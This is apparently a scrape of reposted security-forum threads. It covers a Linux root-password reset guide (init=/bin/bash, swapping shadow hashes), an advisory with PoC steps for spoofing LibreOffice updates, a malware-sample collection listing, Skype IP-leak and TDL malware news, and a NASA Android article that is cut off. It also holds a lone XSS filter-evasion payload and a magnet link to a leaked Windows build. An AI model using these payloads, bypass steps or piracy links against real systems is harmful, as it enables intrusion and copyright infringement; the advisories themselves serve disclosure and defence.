Nytro

Reset Linux root password without knowing the password -By Vaibhav Kaushal So there it goes - Linux is a secure OS. No, really it is. Despite the title of this post, Linux is actually a secure system. Before we proceed to the main topic, let us consider a few points: Linux is flexible to a very large extent. Linux's administrator account is called 'root'. Linux systems never deny access to any resource whatsoever to the root account. If there are any restrictions in place, the root can remove those as well. The root account can set and change the password of any user. To change the password of root, you need to first login as root! It is the 5th point where the problem is. Much like in Windows, you would get locked out of the system. But since Linux is not (as pathetic as) Windows, there are ways to work around it. Let us see some of them. Method 1 - Use 'sudo su' In many systems, a normal user which is added to the system is also added to the list of sudoers. These users can gain the power of root account by running a command prepended with the word sudo. So if the person passes sudo passwd root or passes sudo su to first get the root power and then run the passwd command, he or she would be able to reset the root password. Simple. Easy. Effective. But this does not work everywhere Method 2 - recovery mode The sudo su method works on many systems, but not all. It would work on Ubuntu systems most of the time but other distributions like OpenSUSE, Fedora, Sabayon etc. may not be able to use it because they either do not put the normal users in the list of suoders or they want the password of root (not the same normal account) to give root power. On such systems, one can use the recovery console to reset root password. To do so, one can select 'recovery menu' in the boot menu. Normally every Linux distribution that gets installed will install a 'recovery mode' or a 'failsafe mode' boot entry which allows the user to boot into runlevel 1 where only the root can login. The user can then pass the command passwd to reset the password. Method 3 - override the init file! The recovery mode thing cannot work always because many systems (or should I say 'most' systems) will ask for the root password for logging in. Now, since you do not know the root password in the first place, that trick will fail. In such a case, you can try this: In the boot menu, highlight your Linux menu entry (not the one for recovery mode, but for the normal one) and press 'e' key on the keyboard. This will start an editor where you can change the boot parameter. In most new Linux systems, Grub2 comes as the boot loader. In such systems, the boot menu entry would be a bit complicated. So you might get intimidated by what you see at first. Do not worry, search for the line which starts with the word 'linux'. It would look something like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts You have to add this to the end of that line: init=/bin/bash. So the line will start looking like this: linux /boot/vmlinuz-3.7.10-1.1-desktop root=UUID=ba08039b-33ba-4074-857c-9688856c3583 video=1366x768 resume=/dev/disk/by-id/ata-WDC_WD3200BEVT-75ZCT2_WD-WXE1A9033884-part2 splash=silent quiet showopts init=/bin/bash Now press the F10 button (or whatever is being shown on the screen for the booting) to boot the system. NOTE: If you do not have Grub2, but a lower version of grub then you should search for the line starting with the word 'kernel' instead of 'linux'. Also, you would have to press the 'b' key to boot the entry in that case. When you boot like that, you would be given the root prompt. You can then run the command passwd root to change the root password. The reason why this happens is because normally when a Linux system boots, the kernel is loaded first. After the kernel is loaded, it loads the ramdisk and gets ready for continuing the rest of the booting. Once it is ready, it runs the init command (usually located at /sbin/init) which would run the rest of the system. When you pass init=/bin/bash to the kernel, it will not load /sbin/init file for booting; instead it will load /bin/bash file which starts the bash shell with the root user's power (because the kernel itself called it) and hence that prompt would allow you to change the root user's password. Actually, this prompt had more power than anything else on Linux because it is running with all the privileges of the system! Method 4 - the ultimate method - change the password hash If none of the above works for you then you can take help of another Live Linux CD/DVD to change the root password. This method is long and is a step by step process. You should follow it carefully. Here are the steps (we will consider that the installed system was OpenSUSE and the Live DVD was that of Ubuntu): Boot into the Live Linux system (Ubuntu) using the DVD. Once the system is up, go to the terminal and type 'sudo su'. This will get you to the root user. Now, mount the partition of the disk which contains the /etc directory of the installed system (i.e. the root partition of the OpenSUSE installation on disk). Usually, it would be /dev/sda1 or /dev/sda2 etc. You would know it better. Assuming it was on /dev/sda2, run the command: mkdir /tmpmnt mount /dev/sda2 /tmpmnt Above command will mount your installed system's root partition on /tmpmnt directory of the live system. Now you run the command: 'passwd root'. It will ask for password twice. Enter the password and remember the password well! Open the file /etc/shadow of live system (use vim or nano) and search for the line which begins with the word 'root'. It will look something like this: root:$6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/:15609:::::: Now, the gibberish you see after the first colon is your password hash. Copy that hash. (In this case, the hash is $6$o9LWR1MJXjmO$IRP3uil/aSsDVR/HoCqXvTMUbp9.91z58MkiZSoHfFv3AuB54xQetmTP6E9Y6k2Wku80O9wbjcXC24kl6zKUz/ Open the /tmpmnt/etc/shadow file and search for the line that begins with 'root'. It will look very much similar to what you saw in step 6. Replace the existing hash in this file (/tmpmnt/etc/shadow) with the one you have copied (from /etc/shadow); i.e. you have to delete the existing text after the first colon in the file /tmpmnt/etc/shadow and paste the copied hash there! Save the file and reboot the system to the installation on the disk. Try to login as root and use the password as what you had used in step 5. You should be able to login! Viola, you have successfully changed the password! The last trick is the master trick of them all. If none of the steps work for you (try them in the order they have been mentioned), please let us know what issues you are facing in the comments. OR you can register at the site and ask specific questions in the forums. Sursa: Reset Linux root password without knowing the password

Am pus 2px intre <li>-uri. In afara de micile detalii care difera de la om la om, ca functionalitate, ce ati vrea sa mai apara pe acolo?

Veniti si cu sugestii pentru fonturi. PS: Daca veniti cu un font valid de "Microsoft Windows TrueType Font CVE-2012-4786 Remote Code Execution Vulnerability" aveti o sticla de whiskey de la mine :->

Avem, dupa secole, un nou homepage: https://rstforums.com/ Multumim Gecko pentru design! Asteptam sugestii atat legate de functionalitate cat si de design. Speram sa nu fie probleme.

"><script>alert('TEST');</sc<!--Z-->ipt>

[h=1]Public Key Cryptography: RSA Encryption Algorithm[/h] RSA Public Key Encryption Algorithm (cryptography). How & why it works. Introduces Euler's Theorem, Euler's Phi function, prime factorization, modular exponentiation & time complexity.

Nu l-am putut instala pe VMWare, dadea BSOD pe HAL (Hardware Abstraction Layer) initializer. O sa incerc si VirtualBox. L-a incercat cineva? Pareri? Ce e nou?

[h=1]Windows Blue, Build 9364 leaked[/h]March 24, 2013 by ankur We have just got an exclusive news from our sources that that Windows Blue Build 9364 which probably belongs to Milestone 1 has been leaked and is available for download somewhere on internet. This is the first build to be leaked after Windows 8 was released by Microsoft. Here are the details of the build- Name: 9364.0.FBL_PARTNER_OUT13.130315-2105_X86FRE_CLIENT_EN-US-IMP_CCSA_DV5.ISO Size: 2,63 GB HASH: 179B588DFC21CCF4B76B7E9BE505A51D00F52D6F Currently only 32 bit version has been leaked. Here is the screenshot of this build- Torrent: magnet:?xt=urn:btih:98C4A6164F91792B9D575E2260CFBC53DBA22D72&dn=9364.0.FBL_PARTNER_OUT13.130315-2105_X86FRE_CLIENT_EN-US-IMP_CCSA_DV5.ISO&tr=udp%3a%2f%2ftracker.publicbt.com%3a80%2fannounce&tr=udp%3a%2f%2ftracker.ccc.de%3a80%2fannounce&tr=udp%3a%2f%2ftracker.openbittorrent.com%3a80%2fannounce Link direct: https://rstforums.com/WindowsBlue.iso Sursa: Windows Blue, Build 9364 leaked | Windows 9 Beta

Stream Armor Stream Armor is the sophisticated tool to discover Hidden Alternate Data Streams (ADS) and clean them completely from your system. It's advanced auto analysis coupled with Online Threat Verification mechanism makes it the best tool available in the market for eradicating the evil streams. [TABLE] [TR] [TD][/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=align: center] [/TD] [/TR] [/TABLE] It comes with fast multi threaded ADS scanner which can recursively scan over entire system and quickly uncover all hidden streams. All such discovered streams are represented using specific color patten based on threat level which makes it easy for human eye to distinguish between suspicious and normal streams. It has built-in Advanced File Type Detection mechanism which examines the content of file to accurately detect the file type of stream. This makes it great tool in Forensic Analysis in uncovering hidden documents/images/audio/video/database/archive files within the alternate data streams. It is fully Portable software which can be directly run anywhere without installing locally. It works on wide range of platforms starting from Windows XP to Windows 8. [TABLE] [TR] [TD=class: page_subheader]What is Alternate Data Stream (ADS) ?[/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD]Alternate Data Stream (ADS) is the lesser known feature of Windows NTFS file system which provides the ability to put data into existing files and folders without affecting their functionality and size. Any such stream associated with file/folder is not visible when viewed through conventional utilities such as Windows Explorer or DIR command or any other file browser tools. It is used legitimately by Windows and other applications to store additional information (for example summary information) for the file. Even 'Internet Explorer' adds the stream named 'Zone.Identifier' to every file downloaded from the internet. Due to this hidden nature of ADS, hackers have been exploiting this method to secretly store their Rootkit components on the compromised system without being detected. For example, the infamous Rootkit named 'Mailbot.AZ' aka 'Backdoor.Rustock.A' used to hide its driver file into system32 folder (C:\Windows\system32) as a stream '18467'. In short, ADS provides easy way to store the malicious content covertly as well as execute it directly without making even a bit of noise. Only sophisticated tools such as StreamArmor has the ability to discover and destroy these hidden malicious streams. For complete details on 'Alternate Data Streams' please refer to the following article, 'Exploring Alternate Data Streams' [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD] [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD=class: page_subheader]Features [/TD] [/TR] [TR] [TD][/TD] [/TR] [TR] [TD] Fast, multi threaded ADS scanner to quickly and recursively scan entire computer or drive or just a folder. 'Snapshot View' for quick identification of selected stream and faster manual analysis. Option to 'Ignore Known and Zero Streams' which automatically ignores all known streams (such as Zone.Identifier) and streams with zero size, thus greatly reducing time and effort involved in manual analysis. Advanced stream file type detection which analyzes internal content of file to detect the real file type rather than just going by the file extension. Here is the list of some of the major file type categories detected by StreamArmor Executable File Type (EXE, DLL, SYS, COM, MSI, CLASS) Archive File Type (ZIP, RAR, TAR, GZ, COM) Audio File Type (MP3, WAV, RA, RM, WMA, M3U) Video File Type (WMV, AVI, MPEG, MP4, SWF, DIVX, FLV, DAT, VOB, MOV) Database Type (MS ACCESS) Document Type (PDF, XML, DOC, RTF, All MS Office old & new formats) [*]Sophisticated 'Auto Threat Analysis' based on heuristic technology for identifying anomaly in the discovered streams based on the characteristics and patterns. [*]'Online Threat Verification' to check for presence of Virus or Rootkit in the suspicious stream using any of the following prominent online websites. VirusTotal (www.VirusTotal.com) ThreatExpert (ThreatExpert - Automated Threat Analysis) MalwareHash (Malware Hashes Database - MalwareHash) [*]Representation of streams using color pattern based on threat level makes it easy and fast for human eye to distinguish between suspicious streams from normal ones. [*]Parallel analysis of discovered streams during the scanning process, allows user to start with analysis immediately without waiting for entire scanning operation to be completed. [*]View the entire content of selected stream using the configured third party application. In fact user can configure different applications for normal & executable stream file. [*]Save the selected stream file content to a disk, or USB drive or DVD for further analysis. [*]Delete the selected alternate data stream from its base file or folder. [*]Execute/Run the selected executable stream file for analyzing its malicious nature in virtual environments such as VMWare. [*]Dynamic performance tuning mechanism by adjusting the ADS scan thread count [only for advanced users]. [*]Sort feature to arrange the scanned streams based on its name/threat level/content type/size. [*]Export the entire list of discovered streams to a disk file in HTML format for offline analysis. [/TD] [/TR] [/TABLE] Download: http://securityxploded.com/download.php#streamarmor Sursa: Stream Armor : Advanced Tool to Scan & Clean Malicious Alternate Data Streams (ADS) | www.SecurityXploded.com

[h=1]Microsoft releases Skype transparency report under pressure from privacy groups[/h]by James Dohnert Microsoft has released details of the number of requests for user data made by law enforcement in 2012. The report comes following calls for transparency from online privacy advocates. According to the report, Microsoft and Skype received more than 75,000 requests for data last year. Redmond says the requests potentially affected 137,424 user accounts. "We are providing information on the criminal law enforcement requests we receive for customer data," wrote Microsoft in a blog post. "Like others in the industry, we believe it is important for the public to have access to information about law enforcement access to customer data, particularly as customers are increasingly using technology to communicate and store private information." Microsoft's transparency report comes following similar releases from the likes of Google and Twitter. Google released its latest report earlier this month, while Twitter launched its data request logs in January. Earlier this, 44 privacy groups pushed Microsoft to disclose information on law enforcement requests for Skype user data. Skype was acquired by Microsoft in 2011. Up until recently the firm did not report law enforcement requests for Skype user data in its transparency report. According to the report, Microsoft disclosed customer content to law enforcement agencies about two percent of the time. The report also shows that the firm disclosed non-content information about 79 percent of the time. Microsoft defines non-content information as basic user data such as last used IP address, customer names, and login names. Content information is considered data such as cloud stored documents and email text. Along with general disclosure data, Microsoft also released information on requests made by National Security Letters (NSLs). The letters are requests for non-content data that does not require a court order. Redmond is only allowed to share ballpark figures for the NSLs disclosures. The report finds that Microsoft received up to 999 NSL requests in 2012. Until recently no information on NSL letters were allowed to be disclosed in transparency reports. Sursa: Microsoft releases Skype transparency report under pressure from privacy groups - IT News from V3.co.uk

LibreOffice 4.0.1.2 Update Spoofing Authored by Janek Vind aka waraxe | Site waraxe.us LibreOffice version 4.0.1.2 suffers from an update spoofing vulnerability due to not using a secure channel nor digital signatures. [waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2 =============================================================================== Author: Janek Vind "waraxe" Date: 21. March 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-99.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ LibreOffice is a free and open source office suite, developed by The Document Foundation. It is descended from OpenOffice.org, from which it was forked in 2010. The LibreOffice suite includes a word processor, spreadsheet, graphics editor, slideshow creator, database and math formula writer. http://www.libreoffice.org/ Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested. ############################################################################### 1. Update Spoofing Vulnerability ############################################################################### It appears, that current version of LibreOffice contains security vulnerability in update mechanism, which can be exploited by malicious people to conduct spoofing attacks. When checking for updates, LibreOffice issues GET request over HTTP: GET /check.php HTTP/1.1 Connection: TE, close TE: trailers Host: update.libreoffice.org Accept-Encoding: gzip Pragma: no-cache Accept-Language: en-US User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89; Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...) Server at "update.libreoffice.org" responds with XML data: <?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 4.0.1</inst:id> <inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid> <inst:os>Windows</inst:os> <inst:arch>x86</inst:arch> <inst:version>4.0.1</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="text/html" src="http://www.libreoffice.org/download/" /> </inst:description> LibreOffice user can click "Download" and "Install" buttons and LibreOffice will download and install the update. Such update mechanism contains two security flaws: 1. Update check is done over unencrypted HTTP channel. Malicious third party is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response. In this way it is possible to instruct LibreOffice to download malicious update. 2. LibreOffice will execute downloaded update without digital signature verification. Testing: tests were done using Windows 7, Apache and PHP. Steps: 1. modify "windows/system32/drivers/etc/hosts" file in order to emulate DNS spoofing: 127.0.0.1 update.libreoffice.org 2. create php file "check.php" to the webserver main directory: <?php echo '<?xml version="1.0" encoding="utf-8"?> <inst:description xmlns:inst="http://update.libreoffice.org/description"> <inst:id>LibreOffice 5.6.7</inst:id> <inst:gitid>123456789</inst:gitid> <inst:os>Windows</inst:os> <inst:arch>x86</inst:arch> <inst:version>5.6.7</inst:version> <inst:buildid>9999</inst:buildid> <inst:update type="application/octet-stream" src="http://localhost/notepad.exe" /> </inst:description>'; ?> 3. Place "notepad.exe" file to the webserver main directory. 4. Open LibreOffice Writer -> Help -> Check For Updates Response: LibreOffice 5.6.7 is available. 5. Press "Download" button. Successful download ends with response: Download of LibreOffice 5.6.7 completed. Ready for installation. 6. Press "Install" button, choose "Yes" and after that Notepad will be opened. Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ Sursa: LibreOffice 4.0.1.2 Update Spoofing ? Packet Storm

[h=2]NT Insider 2013[/h]NT Insider 2013 is Out // In this issue of The NT Insider... // switch(IoControlCode) { case IOCTL_TNTI_MSB101: { // Understanding MSBuild project files isn't magic. At least, // not after we explain them to you. // __analysis_assume(NTDDI_VERSION >= NTDDI_WIN8) MSBUILD 101 (Page 4) break; } case IOCTL_TNTI_IRWSL: { // Reader/Writer Spin Locks have been in Windows since // Vista SP1. Finally, they're documented. // Introducing Reader/Writer Spin Locks (Page 6) break; } case IOCTL_TNTI_UMKM: { // Devs always ask: "How can I call a user-mode function // from my driver." You can't. But you don't need to. // Calling User Mode Functions from Kernel Mode (Page 8) break; } case IOCTL_TNTI_FBDE: { // Ever find a missing symbol in the Windows PDBs, or wish // you could fix a symbol error? We tell you how. // Fixing Broken Debugger Extensions (Page 10) break; } case IOCTL_TNTI_ALAL: { // Pre-Fast + SDV = not enough? // Another Look at Lint (Page 12) break; } case IOCTL_TNTI_PP: { // Peter Pontificates (Page 3) break; } default: http://www.osr.com break; } Download: http://insider.osr.com/2013/ntinsider_2013_01.pdf

[h=3]16,800 clean and 11,960 malicious files for signature testing and research.[/h]Sunday, March 24, 2013 Signature and security product testing often requires large numbers of sorted malicious and clean files to eliminate false positives and negatives. They are not always easy to find, but here are some that I have. Clean documents are collected from various open sources. All the copyright rights belong the the authors of each document and file. You must not use the documents for their content but only as samples of particular file types. Download all All files use the same password (scheme). Email me if you need the password. 16,800 CLEAN FILES EXE UTILITY FOR CLEAN EXE FILES XLS(X), DOC(X), RTF CLEAN MS OFFICE FILES AND RTF - 2000 FILES ZIP, 7Z, RAR CLEAN ARCHIVE FILES - 5500 FILES JAR CLEAN JAVA FILES - 100 FILES PDF PDF - 9000_files and PDF -100+with embed_3d_video_swf_ js MACH-O CLEAN OSX MACH-O FILES - 50 FILES ELF CLEAN ELF LINUX FILES - 50 FILES 11,960 MALICIOUS FILES PDF MALWARE PDF NEW -170 FILESMALWARE PDF PRE_04-2011_10982_files RTF, XLS MALWARE RTF_CVE-2010-3333_RTF_92files MALWARE_RTF_CVE-2012-0158_300_files MALWARE_ENCRYPTED_XLS_16files MACH-O MALWARE_MACHO_OSX_100_FILES ELF MALWARE_ELF_LINUX_100_FILES JAR MALWARE JAVA (JAR) - 200 FILES DETAILED LISTING OF CLEAN FILES 1. WINDOWS EXECUTABLES EXE Windows executables. I am not posting any because you can quickly generate your own from any vm. See exe collect utility by Stephan Chenette. https://github.com/IOActive/SearchAndCollect 2. CLEAN MS OFFICE FILES AND RTF - 2,000 FILES DOC, DOCX, XLS, XLSX, RTF RTF - 200_files XLSX -100_files XLS_300_files DOCX_100_files DOC_1300_files 3. CLEAN ARCHIVE FILES - 5,500 FILES 7z, ZIP, RAR Encrypted and not. 7z_w_EXE+DLL_1000_files_nopass RAR_EXE+DLL_1000_files_encryptedname_pass_123qwe RAR_EXE+DLL_1000_files_pass_password123 RAR_OFFICE+PDF_500_files_pass_1234!@#$ ZIP_w_EXE+DLL_1000_files_nopass ZIP_w_EXE+DLL_1000_files_pass_password123 4. CLEAN JAVA FILES - 100 FILES JAR CLEAN_JAR_100_files 5. CLEAN ADOBE READER FILES - 9,100 FILES PDF PDF - 9000_files PDF -100+__embed_3d_video_swf_ js - clean pdf documents with special features - embedded javascript, 3d objects, flash, video, etc. 6. CLEAN OSX MACH-O FILES - 50 FILES 7. CLEAN ELF LINUX FILES - 50 FILES DETAILED LISTING OF MALICIOUS FILES 1. MALWARE ADOBE READER FILES -11,152 FILES PDF PDF-XDP _3files CVE-2013-0640_PDF_21files CVE-2012-0754_PDF_1file CVE-2011-2462_PDF_25files CVE-2010-0188_PDF_49files CVE_2010-2883_PDF_25files MALWARE_PDF_PRE_04-2011_10982_files - files from web exploit packs - older than April 2011. 2. MALWARE MS OFFICE AND RTF FILES - RTF, XLS MALWARE RTF_CVE-2010-3333_RTF_92files MALWARE_RTF_CVE-2012-0158_300_files MALWARE_ENCRYPTED_XLS_16files 3. MALWARE_MACHO_OSX_100_FILES 4. MALWARE_ELF_LINUX_100_FILES 5. MALWARE JAVA (JAR) - 200 FILES Sursa: contagio: 16,800 clean and 11,960 malicious files for signature testing and research.

[h=2]Privacy 101: Skype Leaks Your Location[/h]The events of the past week reminded me of a privacy topic I’ve been meaning to revisit: That voice-over-IP telephony service Skype constantly exposes your Internet address to the entire world, and that there are now numerous free and commercial tools that can be used to link Skype user account names to numeric Internet addresses. The fact that Skype betrays its users’ online location information is hardly news. For example, The Wall Street Journal and other news outlets warned last year about research showing that it was possible to coax Skype into revealing the IP addresses of individual Skype users. But I believe most Skype users still have no clue about this basic privacy weakness. What’s changed is that over the past year, a number of services have emerged to help snoops and ne’er-do-wells exploit this vulnerability to track and harass others online. For example, an online search for “skype resolver” returns dozens of results that point to services (of variable reliability) that allow users to look up the Internet address of any Skype user, just by supplying the target’s Skype account name. In the above screen shot, we can see one such service being used to display the IP address most recently used by the Skype account “mailen_support” (this particular account belongs to the tech support contact for Mailien, a Russian pharmacy spam affiliate program by the same name). Typically, these Skype resolvers are offered in tandem with “booter” or “stresser” services, online attack tools-for-hire than can be rented to launch denial-of-service attacks (one of these services was used in an attack on this Web site, and on that of Ars Technica last week). The idea being that if you want to knock someone offline but you don’t know their Internet address, you can simply search on Skype to see if they have an account, and then use the resolvers to locate their IP. The resolvers work regardless of any privacy settings the target user may have selected within the Skype program’s configuration panel. Many of these resolver services offer “blacklisting,” which for a fee will allow users to prevent other users from looking up the IP address attached to a specific Skype account, said Brandon Levene, an independent security researcher. “It’s basically a protection scheme,” Levene said. Levene said the Skype resolvers work by using a modified Skype client (5.5 or 5.9) to create a debug log. This client is hosted on a web server. “A simple script is used to construct a link containing a Skype username, which is passed to the modified client,” Levene said. “This client simply attempts to add the requested username to a contact list and parses the target account’s ‘information card’ (if available). This process writes the IP address of the requested username to the debug log, in plain sight.” Beyond exposing one’s Internet connection to annoying and disruptive attacks, this vulnerability could allow stalkers or corporate rivals to track the movement of individuals and executives as they travel between cities and states. Skype was purchased by Microsoft in 2011, but Microsoft appears to have done little to address this privacy weakness, despite the attention brought to it and the proliferation of sites offering tools to exploit it. “We are investigating reports of tools that capture a Skype user’s last known IP address,” a spokesperson for Skype said in an emailed statement. “This is an ongoing, industry-wide issue faced by all peer-to-peer software companies.” The simplest way to address these privacy issues would be to relay all Skype signalling traffic (e.g., handshakes) through proxies, said Stevens Le Blond, a researcher at the Max Planck Institute for Software Systems in Germany. “That would prevent low-resource third parties, such as resolvers, to track Skype users,” Le Blond wrote in an email to KrebsOnSecurity. “However, despite a major infrastructure upgrade last year, Skype is still vulnerable to location tracking. One can only hypothesize as to why that is the case. One possibility is that relaying all signalling traffic would break interoperability with earlier versions of Skype. Defending against more powerful attackers able to eavesdrop on Internet links is much more challenging because it requires to relay both signalling and encrypted payload traffic, Le Blond said. “One challenge is that the maximum Round Trip Time (RTT) that VoIP users can tolerate is around 300 milliseconds (ms) whereas the propagation delay in a fiber optical cable spanning the circumference of the planet is approximately 200ms. It means that when a user in Germany calls another one in Australia, the proxy service must incur less than 100ms additional RTT. My team and I are currently working on this problem.” Update, March 22, 9:45 a.m. ET: Added quotes from Microsoft, Levene and Le Blond. Sursa: Privacy 101: Skype Leaks Your Location — Krebs on Security

[sE-2011-01] PoC code for digital SAT TV research released From: Security Explorations <contact () security-explorations com> Date: Thu, 21 Mar 2013 14:30:41 +0100 Hello All, Last year, we disclosed information pertaining to security issues discovered as a result of our digital satellite TV research [1]. It's been over a year and we haven't received [2] information with respect to the status and impact of the vulnerabilities found in: - digital satellite TV set-top-boxes produced by Advanced Digital Broadcast [3], - DVB / MPEG chipsets manufactured by STMicroelectronics [4]. We haven't received important information from Conax AS [5] either. This in particular concerns a final security level assigned by the company to set-top boxes and secure DVB chipsets evaluated as part of Conax security / evaluation process. Conax "rigorous evaluation and testing regime" [6] missed serious security vulnerabilities potentially affecting 540 millions [7] of DVB / MPEG chipsets. Today, a new digital satellite TV platform starts in Poland. It is called NC+ [8] and it is apparently based on equipment / technology coming from several vendors, which were affected by security issues found as part of SE-2011-01 project. We take the above as a perfect opportunity to verify whether these vendors had learned anything from the results of our 1.5 years long research. We assume that they have and that in particular: - all of security issues discovered as part of our SE-2011-01 project have been properly resolved, - new equipment is considerably harder to hack or use for any SAT TV piracy purposes. We decided to release our Proof of Concept code developed as part of SE-2011-01 project [9]. Its source code is is available for download from the following location: Security Explorations - SE-2011-01 - Vendors status We believe that the security community and professionals involved in a development of digital satellite TV ecosystems should benefit the most from the release of our Proof of Concept code. Thank you. Best Regards, Adam Gowdiak --------------------------------------------- Security Explorations Security Explorations "We bring security research to the new level" --------------------------------------------- References: [1] SE-2011-01 Security weaknesses in a digital satellite TV platform Security Explorations - SE-2011-01 [2] SE-2011-01 Vendors status Security Explorations - SE-2011-01 - Vendors status [3] Advanced Digital Broadcast Advanced Digital Broadcast [4] STMicroelectronics STMicroelectronics [5] Conax AS CONAX | Sustaining Magic [6] Conax Security Evaluation Scheme Security Evaluation Scheme | CONAX [7] Multimedia Convergence & ACCI Sector Overview, Philippe Lambinet, STMicroelectronics Error [8] NC+ Digital Satellite TV Plaform nc+ - nowa definicja rozrywki [9] SE-2011-01 Proof of Concept Code (technical information) Security Explorations - SE-2011-01 - Proof of Concept code Sursa: Bugtraq: [sE-2011-01] PoC code for digital SAT TV research released

New TDL Malware Variant Uses Chromium Embedded Framework March 23rd, 2013, 10:46 GMT · By Eduard Kovacs Number of CEF downloads Symantec experts have identified a variant of the notorious TDL malware (also known as TDSS or Tidserv) that relies on the legitimate Chromium Embedded Framework (CEF) to accomplish its malicious tasks. What’s even more curious is that the malware downloads the 50MB framework on each of the infected devices. Since this new version has been launched, the number of CEF downloads has increased considerably, on March 21 reaching almost 25,000 downloads. It’s uncertain if the number of downloads represents the number of malware infections, but this is a likely scenario judging by the graph published by Symantec. The use of CEF, which provides web browser control based on the Google Chromium project, allows cybercriminals to move basic web browser functionalities from the malware’s own modules to the framework’s library. However, the authors of the CEF are not happy with the fact that cybercriminals are using their creation. As such, they’ve removed the binary used by the malware from the Google Code project page. Additional technical details of the new TLD malware are available on Symantec's blog. Sursa: New TDL Malware Variant Uses Chromium Embedded Framework - Softpedia

How NASA got an Android handset ready to go into space Rewiring hardware and software in the Nexus S to make it work on the ISS. by Florence Ion - Mar 23 2013, 6:00pm GTBST Florence Ion It’s what science fiction dreams are made of: brightly colored, sphere-shaped robots that float above the ground, controlled by a tiny computer brain. But it isn't fiction: it’s the SPHERES satellite, and its brain is an Android smartphone. Two and a half years ago, the Human Exploration and Telerobotics Project (HET) equipped a trio of these floating robots with Nexus S handsets running Android Gingerbread. (HET is a project at NASA's Ames Research Center that uses SPHERES, which stands for “Synchronized Position Hold, Engage, Reorient, Experimental Satellites," and that project itself is called SmartSPHERES). Despite their name, these SPHERES aren't traditional satellites—they're currently being used inside the International Space Station (ISS) to investigate applications like telerobotic cameras and high-latency control, and to measure sound and radiation levels. More generally, the Android phones will help HET test out news ways of sensing and modeling the ISS so that robots can eventually become an integral part of the space station's operations. Space exploration is still largely a human-controlled operation, but by equipping each of these self-contained satellites with their own Nexus S, the team has enabled them to navigate autonomously while researchers provide high-level commands from Earth. There are currently two Nexus S smartphones at work in the ISS right now. Hardware upgrades for SPHERES aren't possible without flying completely new equipment up to the ISS, but adopting Android allowed some quick software fixes that would have otherwise been impossible. It took some time and quite a bit of tinkering before the handset was ready to go up in space, however, including some hardware hacking and careful measurements of the accelerometer's accuracy in space. Why the Nexus S? The Nexus S as attached to a SPHERES satellite at NASA Ames. Florence Ion The SPHERES have been in flight since 2006. They were designed by MIT for use on the ISS as an upgradable test bed for formation flight and movement in space, where they use compressed CO2 thrusters. The project had mainly served to try out experimental software, but the needs of the HET SmartSPHERES project soon exceeded the capabilities of the decade-old processor contained inside the satellites. "By connecting a smartphone, we can immediately make SPHERES more intelligent. With the smartphone, the SPHERES will have a built-in camera to take pictures and video, sensors to help conduct inspections, a powerful computing unit to make calculations, and a Wi-Fi connection that we will use to transfer data in real-time to the space station and mission control,” wrote DW Wheeler, lead engineer in the Intelligent Robots Group at NASA Ames. "We knew of other projects that were using the Nexus One, and HTC had done some interesting things in that phone that didn't make it ideal for us,” Mark Micire, research scientist and project lead of the Intelligent Robotics Group, told Ars. “It has to do with [HTC's] battery technology—it has to be a proprietary battery or it won’t boot up.” Micire and the team also figured out that the Nexus S would be much easier to disassemble. “You basically pop it open,” said Micire. “It’s literally six screws on the outside and it comes apart.” Samsung had also separated the circuit boards inside the Nexus S, which made it easier to navigate around the various components featured inside the phone. “We look [at the SPHERES] as a robot that needed a brain, and that’s where Android phones came in.” Cellphone lobotomies Enlarge / Cellphone lobotomies can be tricky things, but in NASA's case it worked. NASA One of the biggest challenges of getting a manufacturer’s proprietary hardware to work with your own is not knowing exactly what’s inside. “When you go with something that already exists, there's a lot of reverse engineering that has to happen,” explained Micire. “Especially in the case of phones: as much as I love our phone manufacturers, they're not always forthcoming about what's actually under the hood.” In this particular case, the Nexus S had to be forced into permanent airplane mode before it could go up into space, but that couldn't involve a software solution. "When you get on an airplane and they tell you that you have to put it into airplane mode because it'll cause interference with the avionics and stuff—same things on ISS, except they require it to be a hardware switch," said Micire. At the time, before the phone had even premiered, iFixit posted its teardown of the Nexus S. Micire and his team were able to essentially use the high-resolution photos on the site to figure out which chip they had to disengage to disable the cellphone capabilities of the phone. They then waited in line on launch day to secure two phones so that they could perform their own “cellphone lobotomies” to physically remove the offending component. “We almost destroyed the first phone, but by the second phone we figured out which chip to pull,” recalled Micire. “It [was the] TXRX amplifier.” From there, all the team had to do was test the phone to prove to the flight safety crew that it wouldn't cause interference on station. It passed. “The phone is none the wiser,” said Micire. “It just thinks it doesn't have cell phone service.” Space only takes AA batteries Enlarge / The battery pack strapped on to the Nexus S. NASA Micire and his team also had to figure out how to power up the phone without using a lithium-ion battery pack. “We were told very early on that getting a lithium-ion battery certified for the station was going to probably be greater than two years,” he explained. But the team had only two years to get this project off the ground. Alkaline batteries had already been approved for space travel because they degrade “more nicely,” as Micire put it. Rather than explode and catch on 